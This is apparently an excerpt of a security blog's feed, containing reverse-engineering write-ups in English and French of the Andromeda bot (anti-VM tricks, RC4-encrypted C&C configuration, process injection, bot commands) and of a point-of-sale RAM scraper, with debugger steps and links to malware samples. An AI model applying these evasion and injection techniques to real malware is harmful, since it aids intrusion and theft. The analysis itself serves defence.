&lt;p&gt;This function calls another function which takes the address of the found function, and returns the length of the first instruction. Then this function compares if we have a jump, and if it is, follow the jump, otherwise copy the first instruction and then jump to the next instruction of desired API.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda6.png"&gt;&lt;img src="/media/andromeda2/andromeda6.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;So, to bypass this shit, let's codecave a little to store original API address into the jump table (you can use both "Multiline Ultimate Assembler" or the integrated ollydbg assembler (there's only a few lines to assemble). We are lucky, there is some free space in 405150. in 401A4D (the "cmp eax,2"), make a jump to 405150, and assemble these lines:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;EAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kt"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;SS&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="nb"&gt;EBP&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;MOV&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;DS&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="nb"&gt;EAX&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="nb"&gt;ESI&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;JMP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;00401&lt;/span&gt;&lt;span class="nv"&gt;A9B&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then put a breakpoint in "CALL EAX" on the caller function and F9. Then trace into function (F7) and enjoy ur dummy payload :&amp;gt; (we could guess it, as we got here because we got detected by the anti-VM tricks :)). Fake payload didn't change at all, it's still a fuckin' lame remote shell with some persistance in registry.&lt;/p&gt;
&lt;h2&gt;Now... gimme the real payload !&lt;/h2&gt;
&lt;p&gt;As we saw before, the malware places an exception handler, and if we play with the code to escape anti-VM tricks (or if debug this on your real computer :]), you should see something like "OR WORD PTR DS:[EAX+46],80" which throws an exception (because adress is not writeable here) which get handled if the process is not debugged by the exception handler put by the malware. Let's see what the fuck happens in the exception handler with IDA (IDA is very good to deal with structs and shit like this).
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda7.png"&gt;&lt;img src="/media/andromeda2/andromeda7.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;We see that the exception handler plays with contexts to redefine EIP, and also changes the stack on the fly, to make a "fake call stack" by doing&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;sub_401AA2&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="nv"&gt;_402058&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;40h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; here is the fake return address, never called in fact&lt;/span&gt;
&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;loaderingPayload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can also notice that the program checks the "EXCEPTION_ACCESS_VIOLATION" flags and check if we really come from the instruction "OR WORD PTR DS:[EAX+46],80".&lt;/p&gt;
&lt;p&gt;So restart the program, replace the entry point code by the code just above, do the codecave as I described above, break on "call eax" then F9 and F7. The payload is basically the same than the previous version, it still uses the ZwMapViewOfSection trick to inject into msiexec.exe (it's no longer svchost or wuauclt.exe on 32bit systems), so see my previous article about andromeda loader analysis if you are interested (in french, sorry non-french ppl, but I think you can google translate or shit like this).&lt;/p&gt;
&lt;h2&gt;Bot analysis&lt;/h2&gt;
&lt;p&gt;The loaders injects the function passed as first argument into msiexec.exe (the "sub_401AA2" for me), so restart the program (again :&amp;gt;), set EIP to 00401AA2, apply the codecave I described in the first part (otherwise, you won't be able to understand what the fuck is happening with APIs), and as usual, F9 until "call eax" and then F7.&lt;/p&gt;
&lt;p&gt;Here there is a lot of useless code (dealing with environment variables, creating pipes, etc) and it's never called for me (maybe it's debug stuff, learn how to use ifdef malware coders). It also load some strings depending if the malware runs in a priviligied account or not (to avoid UAC popups &amp;amp; other things like this), tries to allow itself in the Windows firewall, then the malware creates a thread, with contains the real bot logic (ThreadFunc is at 7FFA370B). The thread proc loads some additionnal DLLs (in ole32.dll and somme winhttp functions too), by calling the function at 7FFA19F4 and then call 7FFA2494, which places some hooks on ZwMapViewOfSection/ZwUnmapViewOfSection functions (maybe to protect its ass when loading another dll, I didn't understand what's really happening here). Then, it calls QueueUserAPC with its own callback (this function just seems to create a thread, according to its behaviour). So let's have a look into the callback function (with IDA, and sorry for the background glitches, too lazy to fix it):
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda2/andromeda8.png"&gt;&lt;img src="/media/andromeda2/andromeda8.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;We see here that the function grab "data" from 7FFA04B8, and grabs in a loop the first dword, compute it's opposite (call it n) and allocates a space of computed dword + 5 (to store a "magic" dword and the null byte), and then decrypt the n+1 bytes after the dword with a custom implementation of RC4, and loop until the last dword is null (the key is a part of the botkey, the 16 bytes start to the second byte of the key). So, C&amp;amp;C configuration looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;(not dwSize)|c&amp;amp;c URL with null byte encrypted|(not dwSize)|c&amp;amp;c URL|....|dwSize = 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, the bot restores the original implementation of RC4 by fixing modification in key scheduling algorithm before destroying the callback function (maybe a trick anti-debug, but useless). So, let's return to the thread function.
The bot then load its plugins if any (downloaded from the c&amp;amp;c), builds the version number which will be sent to the C&amp;amp;C, checks connectivity by attempting to connect to update.microsoft.com (maybe to SE the user and make him to allow connections). Finally the bot starts another thread, which is the communication with the C&amp;amp;C (the other thread proc is at 7FFA3557).&lt;/p&gt;
&lt;p&gt;Here, we can see that the C&amp;amp;C response changed a lot: reply is still cyphered with RC4 and the RC4 key is still the field "id" sent by the bot to the C&amp;amp;C, but we have base64-encoded data encosed by "gn(" and ")". Once base64 data is decoded, protocol is the same, so just look my previous analysis of andromeda ;).&lt;/p&gt;
&lt;p&gt;The last funny thing I could see in this malware is the usage of "RtlWalkHeap" by the malware: the bot walks trough the heap to recover the C&amp;amp;C urls it decoded before (with the index made by xoring the VolumeSerial with a constant which is incremented each time in the loop), and does some weird things with "CreateStreamOnHGlobal" and shit like this to get server's response.&lt;/p&gt;
&lt;p&gt;If you are interested, you can find the sample I analyzed at &lt;a href="http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=1670&amp;start=50#p18497"&gt;http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;amp;t=1670&amp;amp;start=50#p18497&lt;/a&gt; and the IDA databases &lt;a href="http://repo.aassfxxx.infos.st/misc/malware/andromeda_207_ida.zip"&gt;are here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Btw (unrelated), R.I.P to my netbook which died last Friday :(&lt;/p&gt;
&lt;p style="text-align:center"&gt;&lt;img src="http://2.bp.blogspot.com/-p-yxM2ke1Mg/UE8eloKUexI/AAAAAAAAAJ8/grM5DrY9AWw/s1600/asus+eeepc+rip.png" /&gt;&lt;/p&gt;</content><category term="Reverse-engineering"/><category term="Malware"/><category term="Andromeda"/></entry><entry><title>POS Malware / RAM Scrapper</title><link href="/pos-malware-ram-scrapper.html" rel="alternate"/><published>2013-01-27T19:32:00+01:00</published><updated>2013-01-27T19:32:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2013-01-27:/pos-malware-ram-scrapper.html</id><summary type="html">&lt;p&gt;For this first english article, I'll talk about a RAM scrapper I found in the wild (and because Xylitol asked me to write an article about POS malware :þ).&lt;/p&gt;
</summary><content type="html">&lt;p&gt;For this first english article, I'll talk about a RAM scrapper I found in the wild (and because Xylitol asked me to write an article about POS malware :þ).&lt;/p&gt;


&lt;p&gt;First the malware tries to start the service dispatcher (to launch a service of course), and then install it if service dispatcher failed to start (below, the service installation function):&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/rCjgXlq.png"&gt;&lt;img src="/media/ramscraper/rCjgXlq.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;The main service function is located at 00404150, so we set EIP here and we get this:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/58OsH17.png"&gt;&lt;img src="/media/ramscraper/58OsH17.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Then we have to nop the first conditional jump to continue (because malware detected process is not executed as a service). Then we see a call to EnumProcesses :&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/a3mvnZK.png"&gt;&lt;img src="/media/ramscraper/a3mvnZK.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;We notice a function called on each process enumerated shown below, and we step into it.&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/IesUXdh.png"&gt;&lt;img src="/media/ramscraper/IesUXdh.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;The function calls GetProcessName, deletes the path and compares name with a specific name. When matching process is found (its name is "posw32.exe") we get this :&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/D5Z8sQE.png"&gt;&lt;img src="/media/ramscraper/D5Z8sQE.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Then function queries memory information of the process, and tries to read the process memory, and calls some crappy function which seems to look for a certain pattern (but I couldn't identify it):&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/pXufZbQ.png"&gt;&lt;img src="/media/ramscraper/pXufZbQ.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;And the most epic stuff, I found a weird string used by another crappy function after nopping to see what happened if the malware found something in RAM:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/ZP4DE1v.png"&gt;&lt;img src="/media/ramscraper/ZP4DE1v.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
which decodes in:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/PSw7jLA.png"&gt;&lt;img src="/media/ramscraper/PSw7jLA.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Finally I got credentials to connect to the database (inside the connstr) and for the lulz:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/ramscraper/QkFY5tr.png"&gt;&lt;img src="/media/ramscraper/QkFY5tr.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Samples can be found at &lt;a href="https://www.kernelmode.info/forum/viewtopicd25f.html?f=16&amp;amp;t=1756&amp;amp;start=20#p17881"&gt;KernelMode thread&lt;/a&gt;&lt;/p&gt;
&lt;div style="text-align:center"&gt;&lt;img src="/media/ramscraper/Hzi96.jpg" width="400" /&gt;&lt;/div&gt;</content><category term="Reverse-engineering"/><category term="Malware"/><category term="Point of sale"/></entry><entry><title>Analyse de andromeda (suite)</title><link href="/analyse-de-andromeda-suite.html" rel="alternate"/><published>2012-12-31T11:30:00+01:00</published><updated>2012-12-31T11:30:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2012-12-31:/analyse-de-andromeda-suite.html</id><summary type="html">&lt;p&gt;Comme promis dans mon précédent billet, j'ai poursuivi (motivé à coup de chocapicz et de techno bourrine, enfin bref passons) ma quête du Graal, c'est-à-dire la poursuite de l'analyse de Andromeda Bot.&lt;br/&gt;
Je pense que cette analyse ennuyeuse à mourrir pour le commun des mortels ravira les reverseurs de malwares …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Comme promis dans mon précédent billet, j'ai poursuivi (motivé à coup de chocapicz et de techno bourrine, enfin bref passons) ma quête du Graal, c'est-à-dire la poursuite de l'analyse de Andromeda Bot.&lt;br/&gt;
Je pense que cette analyse ennuyeuse à mourrir pour le commun des mortels ravira les reverseurs de malwares. Bref, j'arrête le bullshit du chapô (je suis pas doué en remplissage d'introductions, malheureusement), et passons aux choses sérieuses.&lt;/p&gt;
&lt;h2&gt;I- Installation du bot&lt;/h2&gt;
&lt;p&gt;Une fois avoir step into dans le "call eax" du loader (cf avant pour voir comment faire), nous pouvons observer ceci:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda_suite/La82i.png"&gt;&lt;img src="/media/andromeda_suite/La82i.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On a un appel à SetErrorMode (useless) puis un appel à une autre fonction avant d'avoir un leave puis ret. Donc, on F7 sur le 2ème call, où l'on tombe sur une routine qui parse le PEB à la recherche du "atoi" perdu, puis le process initialise le tas, récupère diverses infos telles que des infos sur le disque dur, la version installée, avant d'allouer une plage de mémoire.&lt;/p&gt;
&lt;p&gt;Vient ensuite une vérification "amusante": le bot vérifie que la variable d'environnement "src" existe (cette variable a été crée par le loader), et le bot refuse de se lancer si cette variable n'existe pas. Il nous suffit de nopper le jmp derrière le call à "GetEnvironmentVariableW" pour poursuivre le déroulement du bot. Le bot call GetShortPathNameW, puis une fonction "mystérieuse" dans laquelle on va step into, ce qui nous permet d'obtenir ceci:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda_suite/4t3EH.png"&gt;&lt;img src="/media/andromeda_suite/4t3EH.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Le bot vérifie si l'utilisateur a bien le token admin, et place le chemin d'installation ainsi que la clé de registre à créer dans une variable pour être réutilisée plus tard. Une fois ceci fait, le bot récupère aléatoirement une extension définie dans une liste, avant de revenir dans la fonction parente. Il récupère ensuite les informations du disque dur, puis construit une chaîne numérique à partir de ces infos, qui servira de nom au mutex que créera le bot.&lt;br/&gt;
On voit ensuite un appel à RtlGetLastWin32Error, puis un appel à 00341A21, dans lequel on va step into (F7) avec ollydbg. On s'aperçoit que le bot va se copier à l'emplacement sélectionné précédemment, puis va créer la clé à l'emplacement choisi précédemment (encore :&amp;gt;), clé qui se voit attribuer des privilèges différents, pour complexifier sa suppression pour un néophyte. On retourne ensuite dans la fonction principale, qui détruit le fichier de lancement, avant d'initialiser winsocks et de créer plusieurs threads. Une analyse avec IDA nous montre que le bot va charger les modules qu'il a stockés au préalable, ainsi que charger une liste de DLLs (qui sont sûrement malveillantes).&lt;br/&gt;
Le dernier thread, quant à lui, est le "coeur" du bot, est est placé dans une boucle mise en pause par un ZwDelayExecution. On va donc poser un bp sur le ThreadProc du bot principal et lancer l'exécution via F9.&lt;/p&gt;
&lt;h2&gt;II - Analyse du coeur du bot&lt;/h2&gt;
&lt;p&gt;Une fois le breakpoint posé et l'exécution lancée, on obtient quelque chose comme ceci:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda_suite/82dRI.png"&gt;&lt;img src="/media/andromeda_suite/82dRI.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Une fois passé la création du "bot string" (je ne ferai pas de dessin, vous avez le screenshot en haut), on a deux boucles différentes.&lt;/p&gt;
&lt;p&gt;Premièrement, esi pointe vers un tableau d'adresses (vide dans le sample que j'analyse), qui contient l'adresse de l'image base d'une DLL. Le bot va essayer de trouver une fonction (inconnue, étant donné qu'on a juste un hash) et de l'appeler. Cette fonction renvoit un pointeur vers une chaîne de caractères, qui va être concaténé au "bot string" qui sera renvoyé au C&amp;amp;C.&lt;/p&gt;
&lt;p&gt;Une fois le tableau d'adresses parcoururu, un coup de chiffrement RC4 est appliqué au "bot string", puis le tout est encodé en base64. On charge ensuite dans esi un tableau de pointeurs, qui pointent vers une liste d'URLs de C&amp;amp;C (qui est parcouru dans la 2ème boucle).&lt;/p&gt;
&lt;p&gt;Les données en base64 sont envoyées à l'URL spécifiée, et s'il n'y a pas eu de problème, le retour subit un décodage base64 puis RC4 avant de passer dans une fonction de "parsing", située juste avant le call de RtlFreeHeap (nommée loopData dans mon IDB).&lt;/p&gt;
&lt;p&gt;Cette fonction prend pour argument les données décodées précédemment,que la fonction va traiter. Cette fonction est composée d'une boucle principale, qui récupère un octet de la zone, sort de la boucle si cet octet est nul. Si l'octet n'est pas nul, on le stocke dans ecx, et on récupère un dword. Ensuite, on push esi, eax et ecx à une fonction mystérieuse (qui va certainement effectuer les actions demandées par le C&amp;amp;C). On a enfin une boucle de "nettoyage" qui va incrémenter esi jusqu'à trouver un null byte. On peut donc en déduire que le C&amp;amp;C renvoie au bot un truc de la forme:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lt;padding de 4 octets&amp;gt;&amp;lt;trame1&amp;gt;\0&amp;lt;trame 2&amp;gt;\0...&amp;lt;trame n&amp;gt;\0\0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;où les trames sont constituées comme ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lt;octet indiquant l&amp;#39;action à effectuer&amp;gt;&amp;lt;id de la tâche&amp;gt;&amp;lt;données&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Il ne nous reste désormais plus qu'à comprendre comment sont interprétées ces trames.&lt;br /&gt;
Le bot comprend 7 commandes différentes de la part du C&amp;amp;C. Toutes les commandes non reconnues ne font rien du tout (ce qui paraît logique :&amp;gt;). Bref, voici un aperçu des commandes (screenshot d'IDA):
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda_suite/DTDtr.png"&gt;&lt;img src="/media/andromeda_suite/DTDtr.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;La plupart des commandes envoyées par le C&amp;amp;C sont des ordres pour télécharger des plugins (modules compressés/chiffrés dans un format "propriétaires"), des exécutables et DLL en clair ou compressés dans le même format de fichier que les plugins (qui sont des binaires "plats"). On remarque aussi des fonctions de mise à jour du bot (qui va rechercher le nom du bot stocké dans le registre). On a malgré tout une fonction qui supprime les DLLs installées par le bot, ainsi qu'une fonction qui désinstalle le bot et ses modules.&lt;/p&gt;
&lt;p&gt;Bref pour ceux qui sont intéressés, l'IDB du payload est disponible &lt;a href="http://repo.aassfxxx.infos.st/misc/malware/andromeda_payload.idb"&gt;ici&lt;/a&gt;, et un script d'extraction est dispo &lt;a href="http://pastebin.com/raw.php?i=TJD75N0z"&gt;ici&lt;/a&gt; aussi.&lt;/p&gt;</content><category term="Reverse-engineering"/><category term="Andromeda"/><category term="Malware"/></entry><entry><title>Analyse de Andromeda Bot (analyse du loader)</title><link href="/analyse-de-andromeda-bot.html" rel="alternate"/><published>2012-12-16T00:00:00+01:00</published><updated>2012-12-16T00:00:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2012-12-16:/analyse-de-andromeda-bot.html</id><summary type="html">&lt;p&gt;Dans cet article, je vais détailler l'analyse d'un sample d'Andromeda, étant donné qu'il existe peu de littérature à ce sujet. Ce bot a été vraisemblablement écrit en assembleur, et est capable de détecter les machines virtuelles, s'injecter dans d'autres processus comme nous le verrons dans cet article. Je me baserai ici sur le sample que m'a gentiment donné Horgh, en passant rapidement sur l'unpacking du sample.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Dans cet article, je vais détailler l'analyse d'un sample d'Andromeda, étant donné qu'il existe peu de littérature à ce sujet. Ce bot a été vraisemblablement écrit en assembleur, et est capable de détecter les machines virtuelles, s'injecter dans d'autres processus comme nous le verrons dans cet article. Je me baserai ici sur le sample que m'a gentiment donné Horgh, en passant rapidement sur l'unpacking du sample.&lt;/p&gt;


&lt;h2&gt;Vue générale et analyse du "dummy payload"&lt;/h2&gt;
&lt;p&gt;Lorsqu'on unpack le sample, on s'aperçoit qu'il existe très peu d'informations "utilisables" pour le reverser: quasiment aucune "String Data Reference" disponible, aucun import... Notre malware va donc directement rechercher les fonctions en parsant le PEB pour retrouver kernel32, et toutes les fonctions utiles, comme on peut le voir ci-dessous:&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda/JZ17B.png"&gt;&lt;img src="/media/andromeda/JZ17B.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On voit ici que le handle de ntdll est recherché, pour ensuite trouver la fonction "LdrGetDllHandle", qui va être utilisée pour récupérer le handle de kernel32.dll. On a ensuite une boucle qui charge les fonctions depuis un tableau de hashes, pour ensuite stocker les adresses dans un tableau. Le process crée ensuite un mutex du doux nom de "lol".&lt;br /&gt;
Ensuite vient une partie intéressante du code: le bot énumère tous les process en cours, calcule un "hash" à partir du nom du process, et nous renvoie à la fin de la fonction principale si le hash correspond à un des hashs "blacklistés".&lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda/BRDgL.png"&gt;&lt;img src="/media/andromeda/BRDgL.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Pour ma part, il reconnaît le process "VBoxService.exe", et donc je me fais renvoyer à la fin du programme, où l'on apperçoit un call vers une fonction, qui prends 2 arguments: la valeur contenue dans eax (dans mon cas le hash correspondant à vboxservice.exe), puis une adresse dans [ebp-188], valant dans mon cas 00403FBF. Du coup, on peut step into (F7), voir ce qui se passe dans cette fonction.&lt;/p&gt;
&lt;p&gt;Lorsqu'on step dans la fonction, on retrouve encore le code qui récupère le handle de ntdll, pour y charger des fonctions utiles pour la suite (ZwTerminateProcess, ZwAllocateVirtualMemory), puis va ensuite allouer une page mémoire avec cette dernière fonction. Au passage, la valeur du premier argument (l'adresse mémoire mystérieuse) est récupérée dans ebx, et la page mémoire a pour taille le premier DWORD pointé par ebx.&lt;/p&gt;
&lt;p&gt;On appelle ensuite une 2ème fonction qui prend pour paramètres le dword pointé par ebx+4, ainsi que les adresses ebx+1c et ebx+3c ainsi que 0x20. Du coup on step-into dans la fonction, et on voit une fonction qui génère un tableau de nombres de 0 à 255 dans l'ordre croissant, puis un algorithme de "key scheduling": nous sommes donc face à une fonction de chiffrement RC4, qui prend pour clé le premier argument, c'est-à-dire ebp+1c, et fait son key sheduling jusqu'à ce qu'on atteigne la fin de la clé, c'est-à-dire le 0x20 passé en paramètre. On en déduit aisément que le pointeur ebp+3c sont les données à déchiffrer et que le [ebx+4] est la taille des données. On sort donc de la fonction, puis on aperçoit encore un appel vers une autre fonction qui prend pour paramètres la taille des données, un pointeur vers ebx+3c ainsi qu'un pointeur vers la zone allouée précédemment.&lt;/p&gt;
&lt;p&gt;Lors de l'analyse de la 2ème fonction, on s'aperçoit que celle-ci a un comportement assez "chaotique", qui pourrait ressembler à un algorithme de décompression. Or, en ayant aperçu un "pushad" au début de la fonction, on peut en déduire que la sortie de la fonction sera signalée par un "popad", qu'il nous suffit juste de chercher (comme lors d'un unpack manuel de UPX). On va donc poser un breakpoint sur le "popad" et F9. Une fois le bp sur le "popad" posé, il nous faut F7 jusqu'à retomber sur la fonction principale (à "MOV EDI,DWORD PTR SS:[EBP-1C]") à cause de quelques tricks anti-debug. La fonction va ensuite continuer quelques initialisations (chargement de DLL et autres) avant d'arriver à la partie intéressante: le "call eax" sur lequel on va step into. On en conclut donc que la fonction appelée par l'entry point va charger et exécuter un payload, qui sera passé en paramètre. Vu qu'on a déclenché une détection anti-VM, on peut se douter qu'on est tombé sur un "dummy payload" conçu pour tromper le reverser peu attentif.&lt;/p&gt;
&lt;p&gt;Une analyse rapide du payload montre que le malware se copie dans "%ALLUSERPROFILES%\svchost.exe", crée une clé de démarrage sous le nom de SunJavaUpdateShed, puis lance un simple remote shell.&lt;/p&gt;
&lt;h2&gt;Analyse du payload réel&lt;/h2&gt;
&lt;p&gt;Une fois l'analyse du "dummy payload" terminée, nous allons pouvoir analyser le payload réel. Pour cela, il nous faut soit contourner tous les sauts, soit sauter direct au bon endroit c'est-à-dire ici (ie en-dessous du dernier saut qui nous THE GAME): &lt;/p&gt;
&lt;p&gt;&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda/cSdFj.png"&gt;&lt;img src="/media/andromeda/cSdFj.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On s'aperçoit que un payload différent est chargé dans [ebp-188] et qu'une adresse mystérieuse (004013B9 chez moi) est placée dans eax avant le call comme précédent. Etant donné qu'on a déjà analysé la fonction appelée, il nous suffit juste de bp sur le "call eax" et de step into. Une fois le step into réalisé, on se retrouve devant ceci:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="/media/andromeda/JLbqO.png"&gt;&lt;img src="/media/andromeda/JLbqO.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;En regardant rapidement le code, on s'aperçoit qu'il y a plein d'appels à ZwCreateSection, ZwMapViewOfSection et autres: le malware utilise ici la méthode d'injection décrite &lt;a href="http://blog.w4kfu.com/post/new_method_of_injection"&gt;sur le blog de w4kfu&lt;/a&gt;, pour aller s'injecter dans wuauclt.exe si on est sur un système 32bits, ou svchost.exe si on est sur un système 64 bits. Le malware va ensuite copier sa section .text dans la section qu'il a créé, qu'il va ensuite ouvrir dans wuauclt.exe. Enfin, le payload récupère l'argument qui lui a été pushed (c'est-à-dire le 2ème argument pushed par l'EP à la fonction de déchiffrage/load), et modifie l'entry point de wuauclt.exe par un call vers la fonction du malware récupérée précédemment. On peut donc relancer le programme, et changer l'entry point vers l'adresse de la fonction mystérieuse avant de lancer un F9 (et s'assurer auparavant que notre bp sur "call eax" est toujours en place).&lt;/p&gt;
&lt;p&gt;Enfin pour les curieux qui se demandent quel algorithme de compression est utilisé par andromeda, il s'agit vraisemblablement de l'algo aPLib légèrement modifié (il suffit juste de stfw quelques instructions "exotiques" utilisées par l'algo pour s'en rendre compte)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit du 16/12/2012:&lt;/strong&gt; J'ai finalement ajouté l'IDB du "loader" disponible &lt;a href="http://repo.aassfxxx.infos.st/misc/malware/andromeda_loader.idb"&gt;à cette adresse&lt;/a&gt; afin de rendre les choses plus "visuelles".&lt;/p&gt;</content><category term="Reverse-engineering"/><category term="Malware"/><category term="Andromeda"/></entry><entry><title>Reversing de faggoterie</title><link href="/reversing-de-faggoterie.html" rel="alternate"/><published>2012-11-10T15:39:00+01:00</published><updated>2012-11-10T15:39:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2012-11-10:/reversing-de-faggoterie.html</id><summary type="html">&lt;p&gt;Ce matin, en naviguant sur HackerzVoice, j'ai l'agréable surprise de tomber sur ce magnifique post (qui a été supprimé depuis):
&lt;ollyimg=" media="" ryjz0.png"="" skidmalware=""&gt;&lt;/ollyimg="&gt;&lt;/p&gt;
&lt;p&gt;Bref, on se rend bien compte que ce genre de trucs seem legit, du coup let's reverse it ;).&lt;br/&gt;
